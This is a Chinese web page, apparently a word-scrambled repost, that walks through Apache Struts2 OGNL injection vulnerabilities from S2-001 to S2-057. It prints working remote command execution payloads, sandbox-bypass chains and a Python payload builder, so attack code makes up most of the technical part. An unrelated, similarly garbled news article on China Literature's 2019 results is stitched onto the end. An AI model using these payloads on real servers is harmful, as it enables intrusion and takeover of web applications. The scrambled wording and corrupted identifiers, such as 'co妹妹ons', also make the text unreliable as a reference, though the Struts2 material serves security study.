当前位置:首页 » 网赚方法 » 正文

利用网赌毛病假冒值写这篇文章来由起因就想看看POC演变的进程 此外如果我看到了甚么能够增补的东西会更新本文 更新工夫 2019年6月9日

民间补钉历史 confluence/display/WW/Security+Bulletins ognl表白式相干

这里只是简单介绍,想要深入必要本身去搜刮 平凡是表白式




文艺表达式 

ognl表达式 #session.cart.id


三因素 表达式:是全部OGNL的核心,是自根东西到被拜候工具的某个链式操纵的字符串表现。 root:针对于根对于象(Root Object)的操纵。在表达式规定了“干甚么”以后,你还必要指定究竟“对谁干”。 context:将规定OGNL的操作“在那边干”。 OGNL实行高低文环境,有request、session、application 、parameters、value stack、attr

$:在配置文件、国内化资本文件中援用OGNL表达式 #:拜候高低文非root对象,相称于ActionContext.getContext() @:访问动态属性、动态方法 %:逼迫(输入)内容为OGNL表达式

表达式成果清单 本段来自于乌云drops 根本对象树的访问 对象树的访问便是经过利用点号将对象的援用串连起来进行。 比方:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx 对容器变量的访问 对容器变量的访问,经过#标记加之表达式进行。 比方:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx 使用操作标记 OGNL表达式中能使用的操作符根本跟Java里的操作符同样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用mod, in, not in等。 容器、数组、对象 OGNL撑持对数组以及ArrayList等容器的依次访问:例如:group.users[0] 同时,OGNL撑持对Map的按键值查找: 例如:#session['mySessionPropKey'] 不但如此,OGNL还支持容器的布局的表达式: 例如:{"green", "red", "blue"}布局一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map 你也能够通过尽情类对象的构造函数进行对象新建: 例如:new Java.net.URL("xxxxxx/") 对静态方法或者变量的访问 要引用类的静态方法以及字段,他们的表达方法是同样的@class@member年夜约@class@method(args): 例如:@com.javaeye.core.Resource@ENABLE,@java.lang.String@format('foo %s','bar') 方法挪用 雷同Java,乃至可以传达参数。如objName.methodName(#parameter) 投影和挑选 OGNL支持雷同数据库中的投影(projection) 和挑选(selection)。 投影便是选出集会合每一个元素的雷同属性构成新的聚集,类似于关连数据库的字段操作。投影操作语法为collection.{XXX},其中XXX是这个集合中每一个元素的年夜众属性。 例如:group.userList.{username}将患上到某个group中的局部user的name的列表。 选择就是过滤满意selection前提的集合元素,类似于关连数据库的记录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,背面则是选择用的逻辑表达式。而选择操作符有三种: ? 选择满意前提的局部元素 ^ 选择满足条件的第一个元素 $ 选择满足条件的末端一个元素 如:group.userList.{? #txxx.xxx != null}将患上到某个group中user的name不为空的user的列表。 注入点 代码写法 request参数名、cookie名 (ognl)(constant)=value&(constant)((ognl1)(ognl2)) request参数值 %{ognl} ${ognl} 'ognl' (ognl) request的filename %{ognl} ${ognl} request的url /%{ognl}.action /${ognl}.action request的content-type %{ognl} ${ognl}

示例代码 get方法,挪用对象的静态方法实行命令

OgnlContext context = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());

set方式,new一个对象调用方法执行命令

OgnlCo
	ntext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());

struts2框架执行流程

可以看这个 wjw0130/article/details/46371847 S2-001

该毛病因为用户提交表单数据而且考证失利时,后端会将用户之条件交的参数值使用 OGNL 表达式 %{value} 进行分析,而后从头添补到对应的表单数据中。例如注册或者登录页面,提交失利后端日常会默认前往之条件交的数据,因为后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式分析,所以可以间接构造 Payload 进行命令执行

获得web目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),#response.flush(),
#response.close()}

执行系统命令

%{
#a=(new java.lang.ProcessBuilder("whoami")).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#matt.getWriter().println(new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close()}

S2-003/S2-005

S2-003漏洞产生在哀求参数名,Struts2框架会对每个哀求参数名解析为OGNL语句执行。 对付S2-003漏洞,民间通过增加平安置置(抑制静态方法调用和类方法执行等)来修补,绕过这个修复很简单,所以就有了S2-005。ognl表达式通过#来访问struts的对象,struts框架通过过滤#字符防备平安题目,可是通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。

由于ONGL的调用可以通过http传参来执行,为了防备冲击者以此来调用尽情方法,Xwork配置了两个参数来进行防护: OgnlContext的属性 xwork.MethodAccessor.denyMethodExecution(默觉得真) SecurityMemberAccess私有字段allowStaticMethodAccess(默觉得假)

获得web目录

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))
&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(i97)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))
&(i99)(('\43xman.getWriter().close()')(d))

执行系统命令

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43mycmd\75\'"+cmd+"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))
&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))
&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))
&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(n)(('\43myout.getWriter().println(\43mystr)')(d))

S2-007

用户输入被当作OGNL表达式解析,当对用户输出进行考证呈现范例转换过错时。如配置了验证规矩-validation.xml时,若范例验证转换堕落,后端默认会将用户提交的表单值通过字符串拼接,而后执行一次OGNL表达式解析并前往。

'%2b(%23_memberAccess.allowStaticMethodAccess=true,
%23context["xwork.MethodAccessor.denyMethodExecution"]=false,
%23cmd="ifconfig",
%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),
%23data=new+java.io.DataInputStream(%23ret.getInputStream()),
%23res=new+byte[500],
%23data.readFully(%23res),
%23echo=new+java.lang.String(%23res),
%23out=@org.apache.struts2.ServletActionContext@getResponse(),
%23out.getWriter().println(%23echo))%2b'

S2-008

使用道理和S2-005差未多少,只不外是在cookie称号处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 称号都有字符限制,一些关键字符无法使用使得这个点显得比力鸡肋,网上也并无相干分析介绍。 S2-009

漏洞利用点跟S2-003和S2-005类似,利用OGNL表达式(1)(2),会执行1的OGNL表达式,009构造了的方法为test=(some OGNL 表达式)(1)&z[(test)(1)]=true。 z[(test)(1)]=true,对struts2来说是合法的参数,可是(test)(1)会执行上陈述的方法,test的值被带入盘算,形成命令执行。

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=+new+java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)
&z[(foo)('meh')]=true

foo参数值必须是action的字符串变量,OGNL表达式被写入foo变量中,然后ParametersInterceptor阻拦器在对第二参数名处理惩罚时,会掏出foo值并作为OGNL表达式解析执行,形成长途代码执行漏洞。 S2-012

配置文件中,Action节点里的Result时使用了重定向类型type=redirectAction,而且还使用${param_name}作为重定向变量,struts在获取其值时会执行OGNL表达式,从而造成命令执行。

%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)
(#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.ge
tWriter().println('dbapp:'+new java.lang.String(#e)),
#matt.getWriter().flush(),#matt.getWriter().close())}

S2-013/S2-014

Apache Struts2的和标签都供给了一个includeParams属性。此属性答应使用的值包罗none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。

a=${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('"+cmd+"').getInputStream(),
#b=new+java.io.InputStreamReader(#a),
#c=new+java.io.BufferedReader(#b),
#d=new+char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp:'+new java.lang.String(#d)),
#out.close())}

官方只限制了%{(#exp)}格局的OGNL执行,由于另有%{#exp}形式,从而造成为了S2-014。 S2-015

下述配置能让咱们访问name.action时使用name.jsp来渲染页面,但是在提取name并解析时,对其执行了OGNL表达式解析,所以导致命令执行。

    /example/{1}.jsp


另有需要阐明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能间接通过#_memberAccess['allowStaticMethodAccess']=true来改正其值到达重获静态方法调用的本领。

${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.co妹妹ons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

S2-016

DefaultActionMapper类支持以action:、redirect:、redirectAction:作为导航或是重定向前缀,但是这些前缀背面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致命令执行。 获取web道路

redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#b=#a.getRealPath("/"),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#b),
#matt.getWriter().flush(),
#matt.getWriter().close()}


执行系统命令,执行结果是回显在URL中的

redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.co妹妹ons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}


执行系统命令2,回显在页面

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get('co'+'m.ope'+'nsymph'+'ony.x'+'wor'+'k2.disp'+'atch'+'er.HttpSe'+'rvletRe'+'sponse'),
#matt.getWriter().println(new java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}

S2-019

属于S2-008宣布的第四个漏洞,也就是DebuggingInterceptor阻拦器中的缺点漏洞。需要开启开辟者形式,传入debug=command&expression = OGNL表达式,从而造成命令执行漏洞。

debug=command&expression=
#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#out.getWriter().println('dbapp:'+new java.lang.String(#e)),
#out.getWriter().flush(),#out.getWriter().close()

S2-020/S2-021

这两个漏洞跟ognl的关系不大。利用成功为了是代码执行,利用失败了就是DOS。 附上个POC地点:coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py S2-029

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象参加ActionContext中。 如下的标签就调用了OGNL进行取值。

parameters: Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。

这个漏洞利用,可以说黑白常难,漏洞的道理是二次OGNL表达式执行。 发起浏览 2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

这个回显结果的代码就跟下面的不太一样了

#_memberAccess.allowPrivateAccess=true,
#_memberAccess.allowStaticMethodAccess=true,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=@java.lang.Runtime@getRuntime(),
#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),
#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()

S2-032/S2-033/S2-037

前提开启静态调用

这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性掏进去放入到ognlUtil.getValue(methodName + "()" getStack().getContext(), action);方法中执行OGNL表达式。 S2-032 前缀参数method:OGNL表达式的形式; S2-033 通过actionName!method的方式,用OGNL表达式将method更换; S2-037 通过actionName/id/methodName的方式,用OGNL表达式更换methodName。

所以这三个漏洞的POC是一样的。需要放到URL中使用。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#a=(new java.lang.ProcessBuilder(#parameters.a[0]))
.start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get(#parameters.b[0]),
#matt.getWriter().println(#parameters.c[0]+new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close
&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag

S2-045/S2-046

S2-045漏洞和S2-046漏洞十分类似,都是由于报错信息可以包括OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成长途代码执行。 利用Jakarta插件,Content-Type需要包括multipart/form-data字段。 S2-045 将OGNL表达式注入到HTTP头的Content-Type中; S2-046 第一种是Content-Length的值的长度超长(注:未找到实例),第二种是Content-Disposition的filename存在空字节。

POC中有个:构造键值对 回显当前道路

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#context.setMemberAccess(#dm)))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).
(#o.println(#path)).(#o.close())}

执行命令。假如注入点是filename,需要末端加\x00b

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

S2-048

漏洞的实质来由起因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是冲击者可控的。

回显命令执行。POC跟S2-046千篇一律

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

举荐浏览 按照官方告示去反推漏洞利用方式——s2-048漏洞分析 S2-052

跟ognl表达式无关,Struts2 REST插件的XStream组件存在反序列化漏洞。略过。 S2-053

当开辟者在Freemarker标签中使用如下代码时,Freemarker会将值当作表达式进行执行,末端导致代码执行。

这个条件太少见了,囧 回显命令执行,又跟S2-045一样的构造

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

S2-057

Namespace用于将action分为逻辑上的差别模块,可以有效防止action重名的环境。默认namespace为空,当所有namespace中都找不到时才会在默认namespace中探求。 第一种情况:在struts.xml配置文件中,假如没有为底子xml配置中定义的result设置namespace,且下层标签中没有设置namespace大约是使用通配符namespace时,则大概存在远程代码执行漏洞。 第二种情况:如果struts的url标签中未设置value和action值,且联系关系的action标签未设置或使用通配符namespace时大概会导致远程代码执行。 人话:当访问action类型为重定向redirect action,chain,postback时,会按照url生成的namespace生成一个跳转地点location, location会进行 ognl 盘算。

回显命令执行的POC跟S2-032很类似???

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe',	'/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

2.5.16版本Poc

$%7B(%23ct=%23request['struts.valueStack'].context).
(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).
(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(%23ou.setExcludedClasses('java.lang.Shutdown')).
(%23ou.setExcludedPackageNames('sun.reflect.')).
(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(%23ct.setMemberAccess(%23dm)).
(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D

OGNL的攻防简史

本段选自 浅析OGNL的攻防史

可以说所有在对付OGNL的攻防全部都是基于怎么样使用静态方法。Struts2的防护方法从最末尾的正则,到以后的黑名单,在保证OGNL强大成果的底子上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要留意的有这么多少点: struts-defult.xml中的黑名单 com.opensymphony.xwork2.ognl.SecurityMemberAccess Ognl包

总之是越来越欠好绕了。 相关工具

struts2漏洞演示情况 Medicean/VulApps/tree/master/s/struts2 Struts2全版本漏洞检测工具 Lucifer1993/struts-scan HatBoy/Struts2-Scan

参考 vuls/168609.html

  原题目:阅文集团上半年在线阅读支出减一成版权经营业绩超2018全年

  根源:每日经济音讯

  每经记者杜蔚    每经编辑杜毅    

  8月12日,收集文学行业龙头——阅文集团(00772.HK)交出了2019上半年结果单。功绩陈诉表现,2019上半年,阅文集团实现总支出29.7亿元,同比增加30.1%;毛利为16.2亿元,同比增长35.5%。其中,版权经营收入同比增长280.3%至12.2亿元。“以版权为中心的变现形式如今涉及在线阅读、影视制作、动画连合制作及收集游戏运营,还储藏了多个版权改编名目。”对此,阅文集团联席CEO吴文辉信任,通过这些办法将增进公司长期发展。

  不外,从净利润上来看,阅文集团的表现并不抱负,2019年上半年调停后的净利润为3.9亿元,同比下降19.3%。《每日经济音讯》记者留意到,尽管今年上半年阅文集团未冲破付费率下降的桎梏,但其版权运营收入却大幅提拔,高出2018年全年。

  ▲阅文集团上半年功绩

  收费阅读能提高版权变现?

  在线营业和版权运营,是构成阅文 集团营收的两个重要部分。

  业绩陈诉表现,2019上半年阅文集团在线业务收入同比淘汰11.5%至16.63亿元,占总收入56%,而上年同期,该板块占比高达82.3%。其中,自有平台产品在线业务收入同比淘汰10.1%至9.85亿元;腾讯产品自营渠道在线业务收入同比减少13.7%至4.31亿元;第三方平台在线业务收入同比减少13.2%至2.46亿元。

  吴文辉曾经表示,“好的内容是统统开发的基础,也是阅文的核心下风”。因此,源源不断的内容产出是保持公司发展的原能源,业绩报告显示,制止2019年6月30日,平台上有780万位作家、1110万部原创文学作品。优良内容提高了用户活泼度,2019上半年阅文集团自有平台产品及自营渠道均匀月活泼用户同比增长1.7%至2.17亿人。

  不过,《每日经济新闻》记者却发明,跟着直播、短视频鼓起带来的娱乐多元化,低落了用户在线阅读的付费志愿。自2018年阅文集团付费用户数量呈现了多年来的初次下降后,今年上半年仍未冲破付费比率减少的魔咒。业绩报告显示,每名付费用户均匀每月收入由上年同期24.4元降至22.5元。

  一方面,用户在线阅读付费鄙人降,另一方面,收费阅读正在寂静鼓起。

  客岁末尾米读阅读、连尚免费读书等主打免费阅读的产品连续进入市场,对此,阅文集团也于2019上半年推出免费阅读模式。“免费模式会吸收到更多用户,不论这些用户一开始看什么,跟着工夫的增长,他们最终肯定会有佳构阅读的需要。所以咱们颇有决心,不恐惧这些免费的合作。”阅文集团内容运营总经理杨晨在担当《每日经济新闻》记者专访时曾经直言,将来在全部市场中,免费阅读和付费阅读会同时存在,但“用户最终肯定会趋势更好的作品,具备佳构内容,本领聚集更多用户”。

  “免费阅读模式的推出还有益于提高我们内容库的团体投资报答率、产生更高的用户毕生价格。”阅文集团方面信任,免费阅读将提高公司现有版权的变现率。

  版权收入占四成

  在线业务收入减少,倒逼阅文集团通过加大IP运营,来获取版权销售、连合投资和自立研发方面的高效变现。

  早在上市之初,吴文辉就提出设想,将来阅文集团的版权运营收入占比要在40%~50%,与在线业务收入实现均衡发展。

  阅文集团的这一目标在今年上半年得以实现。业绩告示显示,2019年上半年阅文来自版权运营及其余的收入同比增长224.1%,至13.1亿元。记者注意到,其中占比最大的版权运业务务,收入到达12.2亿元,同比增长280.3%,高出2018年全年的10亿元,在总收入中占比达到40.9%;而版权运营及其余业务毛利则为6.6亿元,同比增长454.4%。

  这得益于2018年10月收买新丽传媒的业务。收买为阅文集团2019上半年孝敬了约6.6亿元的版权运营收入,剔除并表因素的影响,公司自有版权的相关运营收入达到约5.6亿元,比拟上年同期的3.2亿元增长了75%。业绩公告显示,今年上半年,阅文集团授权改编了约70部网络文学作品,涉及电影、电视剧、动漫及手游等多种形式。

  如今,网文IP的关注度也越来越高。据《2018-2019年度文化IP评估报告》显示,纳入评估的74个IP中,原创文学的IP占比51%,其中又以网文IP为主体。TOP20中国IP中网络文学占10席,阅文版权作品有7部。

  这象征着,具备优良内容的阅文集团,未来通过不清除究立异变现模式,将空虚发掘版权价格。以现有爆款IP《全职妙手》为例,全网点击近百亿,改编的真人网剧正在热播,而阅文自立改编和投资的首部动画电影《全职妙手之高峰光彩》也行将在3天后(8月16日)开画。现在,《全职高手》IP曾经开收回实体图书、动画片、电视剧、电影和周边衍生品等多业态产品。小说配角“叶修”也被塑造成风行Z世代的假造偶像。“叶修的贸易价值已经超过十亿范围。”阅文集团初级副总裁罗立曾向每经记者泄漏。

  为了加快IP版权运营变现,业绩公告泄漏,阅文集团已经将《全职高手》的游戏改编权交给腾讯,现在腾讯正在进行响应的网络游戏开发。

  申明:新浪网独家稿件,未经授权抑制转载。
<< 上一篇 下一篇 >>

推荐文章列表

标签列表

友情链接